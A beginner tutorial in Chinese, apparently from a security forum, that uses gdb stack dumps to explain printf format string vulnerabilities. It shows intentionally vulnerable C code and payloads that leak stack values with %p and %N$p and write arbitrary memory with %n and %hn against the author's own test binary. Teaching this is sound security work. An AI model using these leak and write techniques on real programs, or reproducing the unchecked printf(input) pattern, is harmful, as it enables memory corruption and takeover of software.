【Pwn-[入门向]以栈的视角来认识格式化字符串漏洞】此文章归类为:Pwn。
格式化字符串漏洞实际上是printf
函数的使用不当产生的。首先来看一个正常的printf
函数:
1
2
3
|
int
price = 9;
char
clothes[] =
"shirt"
;
printf
(
"The price of the %s is %d.\n"
, clothes, price);
|
可以看到其printf
函数由两部分组成,其一是要输出的字符串,而后面是字符串中要解析的参数,在上述例子中为clothes
和price
。
那么printf
函数是如何对其进行解析的?我们使用gdb
来跟进看看。将上述代码补全,使用gcc format.c -g -m32 -o format
编译为32
位程序,将断点下到call printf
处,如下所示:
1
2
3
|
►
0x56556240
<main
+
83
> call printf@plt <printf@plt>
format
:
0x56557008
◂—
'The price of the %s is %d.\n'
vararg:
0xffffd046
◂—
'shirt'
|
此时,我们使用命令stack 0x10
,查看栈如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
pwndbg> stack
0x10
00
:
0000
│ esp
0xffffd030
—▸
0x56557008
◂—
'The price of the %s is %d.\n'
01
:
0004
│
0xffffd034
—▸
0xffffd046
◂—
'shirt'
02
:
0008
│
0xffffd038
◂—
9
/
*
'\t'
*
/
03
:
000c
│
0xffffd03c
—▸
0x56556208
(main
+
27
) ◂— add eax,
0x2dcc
04
:
0010
│
0xffffd040
◂—
9
/
*
'\t'
*
/
05
:
0014
│
0xffffd044
◂—
0x6873d104
06
:
0018
│
0xffffd048
◂—
0x747269
/
*
'irt'
*
/
07
:
001c
│
0xffffd04c
◂—
0xa3ffc00
08
:
0020
│
0xffffd050
—▸
0xffffd070
◂—
0x1
09
:
0024
│
0xffffd054
◂—
0x0
0a
:
0028
│ ebp
0xffffd058
◂—
0x0
0b
:
002c
│
0xffffd05c
—▸
0xf7de4ee5
(__libc_start_main
+
245
) ◂— add esp,
0x10
0c
:
0030
│
0xffffd060
—▸
0xf7fb0000
(_GLOBAL_OFFSET_TABLE_) ◂—
0x1e9d6c
0d
:
0034
│
0xffffd064
—▸
0xf7fb0000
(_GLOBAL_OFFSET_TABLE_) ◂—
0x1e9d6c
0e
:
0038
│
0xffffd068
◂—
0x0
0f
:
003c
│
0xffffd06c
—▸
0xf7de4ee5
(__libc_start_main
+
245
) ◂— add esp,
0x10
pwndbg>
|
我们知道32
位程序中,函数的参数是存储在栈上的。从栈上可以看到,printf
函数的第0
个参数是要输出的字符串本身的地址;第1
个参数是shirt
字符串的地址,也就是printf
要解析的第一个参数;第2
个参数是9,也就是printf
需要解析的第二个参数。因此我们可以知道,printf
函数实际上是以第一个参数为字符串,并按照顺序将传入printf
函数的其他的参数以字符串中%
开头的形式进行解析。
上面我们已经明白printf
函数的解析过程。若printf
函数利用不当,便可以使用其进行栈上数据的泄露,如下所示:
1
2
3
|
char
content[0x20];
read(0, content, 0x20);
printf
(content);
|
上面这段代码中,printf
函数只接受一个参数,而且该参数是从标准输入读取的,是可控的。若我们输入%p%p
,可以看到如下结果:
1
2
3
|
ltfall@ubuntu:
/
pwn
/
myhow2heap
/
formatstring$ .
/
format
%
p
%
p
0xffffd02c0x20
|
可以看到其输出的结果为0xffb33e3c0x20
,这明显不符合编写代码者的本意。使用gdb
跟进,看看这里面发生了什么。
将断点下在call printf
:
1
2
3
|
►
0x56556253
<main
+
70
> call printf@plt <printf@plt>
format
:
0xffffd02c
◂—
0x70257025
(
'%p%p'
)
vararg:
0xffffd02c
◂—
0x70257025
(
'%p%p'
)
|
此时使用命令stack
,查看栈如下:
1
2
3
4
5
6
7
8
9
10
|
pwndbg> stack
00
:
0000
│ esp
0xffffd010
—▸
0xffffd02c
◂—
0x70257025
(
'%p%p'
)
01
:
0004
│
0xffffd014
—▸
0xffffd02c
◂—
0x70257025
(
'%p%p'
)
02
:
0008
│
0xffffd018
◂—
0x20
/
*
' '
*
/
03
:
000c
│
0xffffd01c
—▸
0x56556228
(main
+
27
) ◂— add ebx,
0x2da8
04
:
0010
│
0xffffd020
—▸
0xf7fb0000
(_GLOBAL_OFFSET_TABLE_) ◂—
0x1e9d6c
05
:
0014
│
0xffffd024
—▸
0xf7fe22f0
◂— endbr32
06
:
0018
│
0xffffd028
◂—
0x0
07
:
001c
│ eax ecx
0xffffd02c
◂—
0x70257025
(
'%p%p'
)
pwndbg>
|
到这里我们便能够还原为什么printf
会产生上面的输出了:printf
仍然把我们传入的数据当作字符串,并将栈上后面的数据以字符串中%
开头的方式进行解析。
这意味着,若我们输入的数据为%p%p
时,它将会把栈上后面的数据当作传入函数的参数,并以%p
的方式解析。例如,printf
将栈上的0xffffd014
处内容进行解析,并以十六进制格式输出存放在该栈处的值0xffffd02c
,接下来再以同样的方式将0xffffd018
处的值以%p
的方式进行解析,输出0x20
。因此,我们可以以这种方式泄露栈上的数据。
上面我们给printf
函数传入了%p%p
,并以此泄露了栈上的两个数据。那很显然,若我要泄露栈上第20
个数据,自然不可能传入20
个%p
。因此,我们可以使用%$[x]p
的方式来泄露栈上指定位置的内容。其中,[x]
是要泄露的第几个位置。如下所示,我们使用read
传入数据%2$p
,查看栈如下:
1
2
3
4
5
6
7
8
9
|
stack
00
:
0000
│ esp
0xffffd010
—▸
0xffffd02c
◂—
0x70243225
(
'%2$p'
)
/
/
这是第
0
个参数
01
:
0004
│
0xffffd014
—▸
0xffffd02c
◂—
0x70243225
(
'%2$p'
)
/
/
这是第
1
个参数
02
:
0008
│
0xffffd018
◂—
0x20
/
*
' '
*
/
/
/
这是第
2
个参数
03
:
000c
│
0xffffd01c
—▸
0x56556228
(main
+
27
) ◂— add ebx,
0x2da8
/
/
这是第
3
个参数
04
:
0010
│
0xffffd020
—▸
0xf7fb0000
(_GLOBAL_OFFSET_TABLE_) ◂—
0x1e9d6c
/
/
这是第
4
个参数
05
:
0014
│
0xffffd024
—▸
0xf7fe22f0
◂— endbr32
/
/
这是第
5
个参数
06
:
0018
│
0xffffd028
◂—
0x0
/
/
这是第
6
个参数
07
:
001c
│ eax ecx
0xffffd02c
◂—
0x70243225
(
'%2$p'
)
/
/
这是第
7
个参数
|
再单步调试一步,获得输出结果为:
1
|
0x20
|
从上面可以看待,当我们传入printf
的数据为%2$p
时,我们实际上可以输出传入printf
函数的第2
个参数,也就是栈上的0x20
。以此类推,我们可以以%7$p
的形式输出0x70243225
。只需要更改%
的输出形式,就可以将栈上内容以任意方式输出,例如%5$p
可以将栈上第5
个位置以十六进制形式输出,以%6$s
可以将栈上第6
个位置以字符串形式输出。
通过上面的内容,我们已经得知如何泄露栈上的任意数据。实际上,printf
函数同样可以完成写操作,而且是任意位置写。这是用到了printf
函数的%n
特性,它可以将已经输出的字符数量写到某个地址上。如下所示:
1
2
3
4
|
int
count1 = 0, count2 = 0;
int
occupied = 0;
printf
(
"1234%n%20c%n\n"
, &count1, occupied, &count2);
printf
(
"The value of counts comes to %d and %d.\n"
, count1, count2);
|
在上面这段代码中,第一个printf
首先会输出1234
,然后会遇到第一个%n
,而此时输出的字符数量为4
,因此count1
的值将会被写为4。
然后其会遇到%20c
,我们知道这实际上是将occupied
输出为长度为20
的字符,因此目前相当于总共输出了20+4=24
个字符。
然后会遇到最后一个%n
,由于目前已经输出了24
个字符,因此count2
会被赋值为24
。
因此,上面这段代码的输出如下:
1
2
3
|
$ ./format
1234
The value of counts comes to 4 and 24.
|
那么,对于一个不规范的printf
函数,我们可以利用%n
来覆盖任意位置的内存,以这段代码为例:
1
2
3
4
5
6
7
8
9
10
|
char
content[0x20];
memset
(content, 0, 0x20);
char
* secret = (
char
*)
malloc
(0x10);
memset
(secret, 0, 0x10);
printf
(
"The address of secret is %p.\n"
, secret);
read(0, content, 0x20);
printf
(content);
printf
(
"The value of secret comes to 0x%x.\n"
, (
size_t
)*(
size_t
*)secret);
|
这段代码中,我们可以任意控制printf
函数的参数。我们的目标是覆盖secret
指向的堆块的值,若我们成功,即可说明我们完成了任意内存覆盖。
同样是下断点到call printf
(printf(content)
的那个printf
),我们先随便输入一点,比如%p%p
,查看栈如下:
1
2
3
4
5
6
7
8
9
|
pwndbg> stack
00
:
0000
│ esp
0xffffd010
—▸
0xffffd02c
◂—
'%p%p\n'
01
:
0004
│
0xffffd014
—▸
0xffffd02c
◂—
'%p%p\n'
02
:
0008
│
0xffffd018
◂—
0x20
/
*
' '
*
/
03
:
000c
│
0xffffd01c
—▸
0x56556268
(main
+
27
) ◂— add ebx,
0x2d60
04
:
0010
│
0xffffd020
—▸
0xf7fb0000
(_GLOBAL_OFFSET_TABLE_) ◂—
0x1e9d6c
05
:
0014
│
0xffffd024
—▸
0xf7fe22f0
◂— endbr32
06
:
0018
│
0xffffd028
—▸
0x5655a1a0
◂—
0x0
07
:
001c
│ eax ecx
0xffffd02c
◂—
'%p%p\n'
|
我们观察到,实际上我们输入的%p%p
就存在于栈上,例如上面是在0xffffd02c
。那么输入%7$p
即可查看这个值,如下:
1
2
3
4
5
|
$ .
/
format
The address of secret
is
0x574791a0
.
%
7
$p
0x70243725
The value of secret comes to
0x0
.
|
0x70243725
就是%7$p
的十六进制形式,因此确实能够索引到这个值。那么,我们当然也可以用%n
来向这个位置写值!
我们上面得知,我们输入的数据会放在栈上的第7个位置。因此,若我们输入以下数据:
1
|
p32(addr_of_secret)
+
"%7$n"
|
将断点下到call printf
,查看栈如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
pwndbg> stack
0x10
00
:
0000
│ esp
0xffe03db0
—▸
0xffe03dcc
—▸
0x56d3b1a0
◂—
0x0
01
:
0004
│
0xffe03db4
—▸
0xffe03dcc
—▸
0x56d3b1a0
◂—
0x0
02
:
0008
│
0xffe03db8
◂—
0x20
/
*
' '
*
/
03
:
000c
│
0xffe03dbc
—▸
0x5659d268
(main
+
27
) ◂— add ebx,
0x2d60
04
:
0010
│
0xffe03dc0
—▸
0xf7f24000
(_GLOBAL_OFFSET_TABLE_) ◂—
0x1e9d6c
05
:
0014
│
0xffe03dc4
—▸
0xf7f562f0
◂— endbr32
06
:
0018
│
0xffe03dc8
—▸
0x56d3b1a0
◂—
0x0
07
:
001c
│ eax ecx
0xffe03dcc
—▸
0x56d3b1a0
◂—
0x0
/
/
第
7
个参数
08
:
0020
│
0xffe03dd0
◂—
'%7$n'
/
/
第
8
个参数
09
:
0024
│
0xffe03dd4
◂—
0x0
... ↓
5
skipped
0f
:
003c
│
0xffe03dec
◂—
0xa407ee00
|
printf
函数会先输出p32(addr_of_secret)
,输出长度为4个字符。然后再解析%7$n
,会将已经输出的字符数量写入栈上的第七个值处。而栈上第七个位置是p32(addr_of_secret)
,因此会将secret
指向的堆块的值写为4
。
同样的,我们可以控制输出的长度,来使得secret
指向的值为任意数值,例如我们发送以下数据:
1
|
p32(addr_of_secret)
+
"%20c%7$n"
|
在解析到addr_of_secret
时,其已经输出了p32(addr_of_secret)
四个字符加上%20c
的二十个字符,因此会使得secret
指向的值为24
。
在某些情况,我们希望将整个secret
的值覆盖为一个想要的值,我们可以使用如下方式来进行覆盖:
1
2
|
%
hn 双字节覆盖
%
hhn 单字节覆盖
|
使用以下方式,我们可以更便利地覆盖内存中的值。例如,一个完整的覆盖secret
的值为0x12345678
的payload
如下:
1
|
p32(heap_leak)
+
p32(heap_leak
+
2
)
+
b
'%22128c%7$hn'
+
b
'%48060c%8$hn'
|
通过这个payload
可以得到结果:
1
|
The value of secret comes to
0x12345678
.
|
让我们来一一解析这个payload
:
首先我们在栈上第7
个和第8
个位置分别布置了堆地址的低两位和高两位地址。
printf
函数首先会输出这两个地址,长度为8
个字节。
接下来printf
函数会输出%22128c
,加起来总共输出了22136
个字符,对应十六进制数为0x5678
接下来printf
函数会解析到%7$hn
,会将已经输出的字符数量以两个字节的形式写入到栈上第七个位置,也就是将0x5678
写到堆地址的低两位上。
接下来printf
函数会解析到%48060c
,会输出48060
个字符,和之前22136
加起来总共输出了70196
个字符,对应十六进制数为0x11234
。
接下来printf
函数会解析到%8$hn
,会将已经输出的字符数量以两个字节的形式写入到栈上第八个位置。而目前已经输出了0x11234
个字符,因此取两个字节,会将0x1234
写入到堆地址的高两位,从而完成了对堆内存空间的覆盖。
从上面这个过程我们得知,可以利用%$hn
和%$hhn
写指定数量字节的特性来对任意内存空间进行覆盖。
64
位下最大的差别是:函数的前6
个参数位于寄存器上,多余的参数才位于栈上。
而我们知道64
位下的前6
个参数分别为:rdi
、rsi
、rdx
、rcx
、r8
、r9
上。
rdi
会保存字符串本身,因此%$1p
将会泄露rsi
的值,%$2p
会泄露rdx
的值。以此类推,栈上的第一个值为%6$p
。
若你已经掌握32
位下的格式化字符串利用,了解上述参数构造的不同后与32
位下并无差别。
参考链接
更多【Pwn-[入门向]以栈的视角来认识格式化字符串漏洞】相关视频教程:www.yxfzedu.com